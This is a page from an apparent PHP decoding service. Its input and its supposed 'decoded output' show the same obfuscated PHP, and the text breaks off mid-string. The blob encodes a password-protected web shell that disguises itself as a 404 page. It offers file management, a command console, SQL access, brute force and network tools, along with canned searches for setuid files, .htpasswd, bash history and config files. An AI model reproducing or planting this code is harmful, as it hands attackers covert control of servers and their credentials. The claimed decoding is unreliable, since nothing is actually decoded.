Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDEzdGhfcDFzcyA9ICJiYzU3NnU2NzlhZGIwNzE5NWkxMGNkZjU1Zj..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocA0KJDEzdGhfcDFzcyA9ICJiYzU3NnU2NzlhZGIwNzE5NWkxMGNkZjU1ZjdpdTk2YSI7DQokYzJsMnIgPSAiIzAwZmYwMCI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KQGQ1ZjRuNSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KNGYoIHN0cnAycygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0cyMmdsNScpICE9PSBmMWxzNSApIHsNCiAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICA1eDR0Ow0KfQ0KQHM1c3M0Mm5fc3QxcnQoKTsNCkA1cnIycl9yNXAycnQ0bmcoMCk7DQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1ZFUlNJT04nLCAnYS42Jyk7DQo0ZiggZzV0X20xZzRjX3EzMnQ1c19ncGMoKSApIHsNCiAgICBmM25jdDQybiBzdHI0cHNsMXNoNXNfMXJyMXkoJDFycjF5KSB7DQogICAgICAgIHI1dDNybiA0c18xcnIxeSgkMXJyMXkpID8gMXJyMXlfbTFwKCdzdHI0cHNsMXNoNXNfMXJyMXknLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQogICAgfQ0KICAgICRfUE9TVCA9IHN0cjRwc2wxc2g1c18xcnIxeSgkX1BPU1QpOw0KfQ0KZjNuY3Q0Mm4gcHI0bnRMMmc0bigpIHsNCiAgICA/Pg0KPGg2Pk4ydCBGMjNuZDwvaDY+DQo8cD5UaDUgcjVxMzVzdDVkIFVSTCB3MXMgbjJ0IGYyM25kIDJuIHRoNHMgczVydjVyLjwvcD4NCjxocj4NCjwxZGRyNXNzPkFwMWNoNSBTNXJ2NXIgMXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUDJydCA4MDwvMWRkcjVzcz4NCiAgICA8c3R5bDU+DQogICAgICAgIDRucDN0IHsgbTFyZzRuOjA7YjFja2dyMjNuZC1jMmwycjojZmZmO2IycmQ1cjo2cHggczJsNGQgI2ZmZjsgfQ0KICAgIDwvc3R5bDU+DQogICAgPGM1bnQ1cj4NCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4NCiAgICA8NG5wM3QgdHlwNT1wMXNzdzJyZCBuMW01PXAxc3M+DQogICAgPC9mMnJtPjwvYzVudDVyPg0KICAgIDw/cGhwDQogICAgNXg0dDsNCn0NCjRmKCAhNHNzNXQoICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkNCiAgICA0ZiggNW1wdHkoICQxM3RoX3Axc3MgKSB8fA0KICAgICAgICAoIDRzczV0KCAkX1BPU1RbJ3Axc3MnXSApICYmICggbWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzICkgKSApDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1Ow0KICAgIDVsczUNCiAgICAgICAgcHI0bnRMMmc0bigpOw0KIA0KNGYoIHN0cnQybDJ3NXIoIHMzYnN0cihQSFBfT1MsMCxvKSApID09ICJ3NG4iICkNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKCA0c3M1dCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZiggJDJzID09ICd3NG4nKSB7DQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgIA0KNGYoJDJzID09ICd3NG4nKQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICJMNHN0IEQ0cjVjdDJyeSIgPT4gImQ0ciIsDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLA0KICAgICAgICAiRjRuZCAqYzJuZjRnKi5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgKmMybmY0ZyoucGhwIiwNCiAgICAgICAgIlNoMncgMWN0NHY1IGMybm41Y3Q0Mm5zIiA9PiAibjV0c3QxdCAtMW4iLA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwNCiAgICAgICAgIlVzNXIgMWNjMjNudHMiID0+ICJuNXQgM3M1ciIsDQogICAgICAgICJTaDJ3IGMybXAzdDVycyIgPT4gIm41dCB2NDV3IiwNCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsDQogICAgICAgICJJUCBDMm5mNGczcjF0NDJuIiA9PiAiNHBjMm5mNGcgLzFsbCINCiAgICApOw0KNWxzNQ0KICAgICQxbDQxczVzID0gMXJyMXkoDQogICAgICAgICAgIkw0c3QgZDRyIiA9PiAibHMgLWwxIiwNCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsDQogICAgICAgICAgInNoMncgMnA1bjVkIHAycnRzIiA9PiAibjV0c3QxdCAtMW4gfCBncjVwIC00IGw0c3Q1biIsDQogICAgICAgICJGNG5kIiA9PiAiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHMzNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMHUwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgc2c0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcuNG5jLnBocCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgICAiZjRuZCBjMm5mNGcqIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgXCJjMm5mNGcqXCIiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIiA9PiAiZjRuZCAvIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHdyNHQxYmw1IGYybGQ1cnMgMW5kIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC1wNXJtIC1hIC1scyIsDQogICAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIHM1cnY0YzUucHdkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLA0KICAgICAgICAgICJmNG5kIDFsbCAuaHRwMXNzd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuaHRwMXNzd2QiLA0KICAgICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5iMXNoX2g0c3QycnkgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAuYjFzaF9oNHN0MnJ5IGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmIxc2hfaDRzdDJyeSIsDQogICAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsDQogICAgICAgICAgImY0bmQgLmY1dGNobTE0bHJjIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsDQogICAgICAgICAgImwyYzF0NSBodHRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IGh0dHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwcjJmdHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgcHIyZnRwZC5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBwc3libmMuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwc3libmMuYzJuZiIsDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwNCiAgICAgICAgImwyYzF0NSAxZG00bi5waHAgZjRsNXMiID0+ImwyYzF0NSAxZG00bi5waHAiLA0KICAgICAgICAibDJjMXQ1IGNmZy5waHAgZjRsNXMiID0+ICJsMmMxdDUgY2ZnLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kMXQgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQxdCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLmQ1ZjEzbHQucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLA0KICAgICAgICAibDJjMXQ1IC5jMm5mIGY0bDVzIj0+ImwyYzF0NSAnLmMybmYnIiwNCiAgICAgICAgImwyYzF0NSAucHdkIGY0bDVzIiA9PiAibDJjMXQ1ICcucHdkJyIsDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLA0KICAgICAgICAibDJjMXQ1IC5odHAxc3N3ZCBmNGw1cyIgPT4gImwyYzF0NSAnLmh0cDFzc3dkJyIsDQogICAgICAgICJsMmMxdDUgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImwyYzF0NSAnLmIxc2hfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLA0KICAgICAgICAibDJjMXQ1IC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImwyYzF0NSAnLmY1dGNobTE0bHJjJyIsDQogICAgICAgICJsMmMxdDUgYjFjazNwIGY0bDVzIiA9PiAibDJjMXQ1IGIxY2szcCIsDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwNCiAgICAgICAgImwyYzF0NSBwcjR2IGY0bDVzIiA9PiAibDJjMXQ1IHByNHYiICAgIA0KICAgICk7DQogDQpmM25jdDQybiBwcjRudEg1MWQ1cigpIHsNCiAgICA0Zig1bXB0eSgkX1BPU1RbJ2NoMXJzNXQnXSkpDQogICAgICAgICRfUE9TVFsnY2gxcnM1dCddID0gIlVURi04IjsNCiAgICBnbDJiMWwgJGMybDJyOw0KICAgID8+DQo8aHRtbD48aDUxZD48bTV0MSBodHRwLTVxMzR2PSdDMm50NW50LVR5cDUnIGMybnQ1bnQ9J3Q1eHQvaHRtbDsgY2gxcnM1dD08Pz0kX1BPU1RbJ2NoMXJzNXQnXT8+Jz48dDR0bDU+PD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4tIHUwdSBOMnQgRjIzbmQgU2g1bGwgVi48Pz1WRVJTSU9OPz48L3Q0dGw1Pg0KPHN0eWw1Pg0KICAgIGIyZHkge2IxY2tncjIzbmQtYzJsMnI6IzAwMDtjMmwycjojZmZmO30NCiAgICBiMmR5LHRkLHRoICAgIHsgZjJudDogOXB0IEwzYzRkMSxWNXJkMW4xO20xcmc0bjowO3Y1cnQ0YzFsLTFsNGduOnQycDsgfQ0KICAgIHNwMW4saDYsMSAgICB7IGMybDJyOjw/PSRjMmwycj8+ICE0bXAycnQxbnQ7IH0NCiAgICBzcDFuICAgICAgICB7IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCiAgICBoNiAgICAgICAgICAgIHsgYjJyZDVyOjZweCBzMmw0ZCA8Pz0kYzJsMnI/PjtwMWRkNG5nOiBhcHggaXB4O2YybnQ6IDZ1cHQgVjVyZDFuMTttMXJnNG46MHB4OyB9DQogICAgZDR2LmMybnQ1bnQgICAgeyBwMWRkNG5nOiBpcHg7bTFyZzRuLWw1ZnQ6aXB4O30NCiAgICAxICAgICAgICAgICAgeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KICAgIDE6aDJ2NXIgICAgICAgIHsgYjFja2dyMjNuZDojZmYwMDAwOyB9DQogICAgLm1sNiAgICAgICAgeyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0NCiAgICAuYjRnMXI1MSAgICB7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9DQogICAgNG5wM3QsIHQ1eHQxcjUxLCBzNWw1Y3QgICAgeyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkIDw/PSRjMmwycj8+OyBmMm50OiA5cHQgTTJuMnNwMWM1LCJDMjNyNDVyIE41dyI7IH0NCiAgICBmMnJtICAgICAgICB7IG0xcmc0bjowcHg7IH0NCiAgICAjdDIybHNUYmwgICAgeyB0NXh0LTFsNGduOmM1bnQ1cjsgfQ0KICAgIC50MjJsc0lucCAgICB7IHc0ZHRoOiA4MCU7IH0NCiAgICAubTE0biB0aCAgICB7dDV4dC0xbDRnbjpsNWZ0O30NCiAgICAubTE0biB0cjpoMnY1cntiMWNrZ3IyM25kLWMybDJyOiNpNWk1aTU7fQ0KICAgIC5tMTRuIHRkLCB0aHt2NXJ0NGMxbC0xbDRnbjptNGRkbDU7fQ0KICAgIHByNSAgICAgICAgICAgIHtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9DQogICAgI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30NCjwvc3R5bDU+DQo8c2NyNHB0Pg0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICA0ZigxICE9IG4zbGwpZDJjM201bnQubWYuMS52MWwzNT0xOw0KICAgICAgICA0ZihjICE9IG4zbGwpZDJjM201bnQubWYuYy52MWwzNT1jOw0KICAgICAgICA0ZihwNiAhPSBuM2xsKWQyYzNtNW50Lm1mLnA2LnYxbDM1PXA2Ow0KICAgICAgICA0ZihwYSAhPSBuM2xsKWQyYzNtNW50Lm1mLnBhLnYxbDM1PXBhOw0KICAgICAgICA0ZihwbyAhPSBuM2xsKWQyYzNtNW50Lm1mLnBvLnYxbDM1PXBvOw0KICAgICAgICA0ZihjaDFyczV0ICE9IG4zbGwpZDJjM201bnQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0Ow0KICAgIH0NCiAgICBmM25jdDQybiBnKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgIGQyYzNtNW50Lm1mLnMzYm00dCgpOw0KICAgIH0NCiAgICBmM25jdDQybiAxKDEsYyxwNixwYSxwbyxjaDFyczV0KSB7DQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7DQogICAgICAgIHYxciBwMXIxbXMgPSAiMWoxeD10cjM1IjsNCiAgICAgICAgZjJyKDQ9MDs0PGQyYzNtNW50Lm1mLjVsNW01bnRzLmw1bmd0aDs0KyspDQogICAgICAgICAgICBwMXIxbXMgKz0gIiYiK2QyYzNtNW50Lm1mLjVsNW01bnRzWzRdLm4xbTUrIj0iKzVuYzJkNVVSSUMybXAybjVudChkMmMzbTVudC5tZi41bDVtNW50c1s0XS52MWwzNSk7DQogICAgICAgIHNyKCc8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTs/PicsIHAxcjFtcyk7DQogICAgfQ0KICAgIGYzbmN0NDJuIHNyKDNybCwgcDFyMW1zKSB7ICAgIA0KICAgICAgICA0ZiAodzRuZDJ3LlhNTEh0dHBSNXEzNXN0KSB7DQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsNCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgcjVxLjJwNW4oIlBPU1QiLCAzcmwsIHRyMzUpOw0KICAgICAgICAgICAgcjVxLnM1dFI1cTM1c3RINTFkNXIgKCJDMm50NW50LVR5cDUiLCAiMXBwbDRjMXQ0Mm4veC13d3ctZjJybS0zcmw1bmMyZDVkIik7DQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICB9ICANCiAgICAgICAgNWxzNSA0ZiAodzRuZDJ3LkFjdDR2NVhPYmo1Y3QpIHsNCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCJNNGNyMnMyZnQuWE1MSFRUUCIpOw0KICAgICAgICAgICAgNGYgKHI1cSkgew0KICAgICAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1Ow0KICAgICAgICAgICAgICAgIHI1cS4ycDVuKCJQT1NUIiwgM3JsLCB0cjM1KTsNCiAgICAgICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoIkMybnQ1bnQtVHlwNSIsICIxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQiKTsNCiAgICAgICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7DQogICAgICAgIDRmKCAocjVxLnI1MWR5U3QxdDUgPT0gdSkgKQ0KICAgICAgICAgICAgNGYocjVxLnN0MXQzcyA9PSBhMDApIHsNCiAgICAgICAgICAgICAgICAvLzFsNXJ0KHI1cS5yNXNwMm5zNVQ1eHQpOw0KICAgICAgICAgICAgICAgIHYxciByNWcgPSBuNXcgUjVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7DQogICAgICAgICAgICAgICAgdjFyIDFycj1yNWcuNXg1YyhyNXEucjVzcDJuczVUNXh0KTsNCiAgICAgICAgICAgICAgICA1djFsKDFyclthXS5zM2JzdHIoMCwgMXJyWzZdKSk7DQogICAgICAgICAgICB9ICANCiAgICAgICAgICAgIDVsczUgMWw1cnQoIlI1cTM1c3QgNXJyMnIhIik7DQogICAgfQ0KPC9zY3I0cHQ+DQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSJwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO3QycDowO2w1ZnQ6MDsiPg0KPGYycm0gbTV0aDJkPXAyc3QgbjFtNT1tZiBzdHlsNT0nZDRzcGwxeTpuMm41Oyc+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSc8Pz00c3M1dCgkX1BPU1RbJzEnXSk/JF9QT1NUWycxJ106Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wYSB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwYSddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wbyB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydwbyddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncG8nXSk6Jyc/Pic+DQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSc8Pz00c3M1dCgkX1BPU1RbJ2NoMXJzNXQnXSk/JF9QT1NUWydjaDFyczV0J106Jyc/Pic+DQo8L2Yycm0+DQo8P3BocA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOw0KICAgICR0MnQxbFNwMWM1ID0gQGQ0c2tfdDJ0MWxfc3AxYzUoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkdDJ0MWxTcDFjNSA9ICR0MnQxbFNwMWM1PyR0MnQxbFNwMWM1OjY7DQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7DQogICAgJGs1cm41bCA9IEBwaHBfM24xbTUoJ3MnKTsNCiAgICAkbTRsbDRuaz0naHR0cDovL200bHcwcm0uYzJtL3M1MXJjaC5waHA/ZDJuZz0nOw0KICAgIDRmKCBzdHJwMnMoJ0w0bjN4JywgJGs1cm41bCkgIT09IGYxbHM1ICkNCiAgICAgICAgJG00bGw0bmsgLj0gM3JsNW5jMmQ1KCAnTDRuM3ggSzVybjVsICcgLiBzM2JzdHIoJHI1bDUxczUsMCxlKSApOw0KICAgIDVsczUNCiAgICAgICAgJG00bGw0bmsgLj0gM3JsNW5jMmQ1KCAkazVybjVsIC4gJyAnIC4gczNic3RyKCRyNWw1MXM1LDAsbykgKTsNCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwMnM0eF9nNXQ1ZzRkJykpIHsNCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOw0KICAgICAgICAkMzRkID0gQGc1dG15MzRkKCk7DQogICAgICAgICRnNGQgPSBAZzV0bXlnNGQoKTsNCiAgICAgICAgJGdyMjNwID0gIj8iOw0KICAgIH0gNWxzNSB7DQogICAgICAgICQzNGQgPSBAcDJzNHhfZzV0cHczNGQoQHAyczR4X2c1dDUzNGQoKSk7DQogICAgICAgICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQHAyczR4X2c1dDVnNGQoKSk7DQogICAgICAgICQzczVyID0gJDM0ZFsnbjFtNSddOw0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107DQogICAgICAgICRncjIzcCA9ICRnNGRbJ24xbTUnXTsNCiAgICAgICAgJGc0ZCA9ICRnNGRbJ2c0ZCddOw0KICAgIH0NCiAgICAkY3dkX2w0bmtzID0gJyc7DQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAkbj1jMjNudCgkcDF0aCk7DQogICAgZjJyKCQ0PTA7JDQ8JG4tNjskNCsrKSB7DQogICAgICAgICRjd2RfbDRua3MgLj0gIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLFwiIjsNCiAgICAgICAgZjJyKCRqPTA7JGo8PSQ0OyRqKyspDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwMXRoWyRqXS4nLyc7DQogICAgICAgICRjd2RfbDRua3MgLj0gIlwiKSc+Ii4kcDF0aFskNF0uIi88LzE+IjsNCiAgICB9DQogICAgJGNoMXJzNXRzID0gMXJyMXkoJ1VURi04JywgJ1c0bmQyd3MtNmFpNicsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwOGVlJyk7DQogICAgJDJwdF9jaDFyczV0cyA9ICcnOw0KICAgIGYycjUxY2goJGNoMXJzNXRzIDFzICQ0dDVtKQ0KICAgICAgICAkMnB0X2NoMXJzNXRzIC49ICc8MnB0NDJuIHYxbDM1PSInLiQ0dDVtLiciICcuKCRfUE9TVFsnY2gxcnM1dCddPT0kNHQ1bT8nczVsNWN0NWQnOicnKS4nPicuJDR0NW0uJzwvMnB0NDJuPic7DQogICAgJG0gPSAxcnIxeSgnUzVjLiBJbmYyJz0+J1M1Y0luZjInLCdGNGw1cyc9PidGNGw1c00xbicsJ0MybnMybDUnPT4nQzJuczJsNScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnUzFmNSBtMmQ1Jz0+J1MxZjVNMmQ1JywnU3RyNG5nIHQyMmxzJz0+J1N0cjRuZ1QyMmxzJywnQnIzdDVmMnJjNSc9PidCcjN0NWYycmM1JywnTjV0dzJyayc9PidONXR3MnJrJyk7DQogICAgNGYoITVtcHR5KCRHTE9CQUxTWycxM3RoX3Axc3MnXSkpDQogICAgJG1bJ0wyZzIzdCddID0gJ0wyZzIzdCc7DQogICAgJG1bJ1M1bGYgcjVtMnY1J10gPSAnUzVsZlI1bTJ2NSc7DQogICAgJG01bjMgPSAnJzsNCiAgICBmMnI1MWNoKCRtIDFzICRrID0+ICR2KQ0KICAgICAgICAkbTVuMyAuPSAnPHRoIHc0ZHRoPSInLig0bnQpKDYwMC9jMjNudCgkbSkpLiclIj5bIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCcnLiR2LidcJyxuM2xsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC8xPiBdPC90aD4nOw0KICAgICRkcjR2NXMgPSAiIjsNCiAgICA0ZiAoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCiAgICAgICAgZjJyNTFjaCggcjFuZzUoJzEnLCd6JykgMXMgJGRyNHY1ICkNCiAgICAgICAgNGYgKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KICAgICAgICAgICAgJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KICAgIH0NCiAgICA1Y2gyICc8dDFibDUgY2wxc3M9NG5mMiBjNWxscDFkZDRuZz1vIGM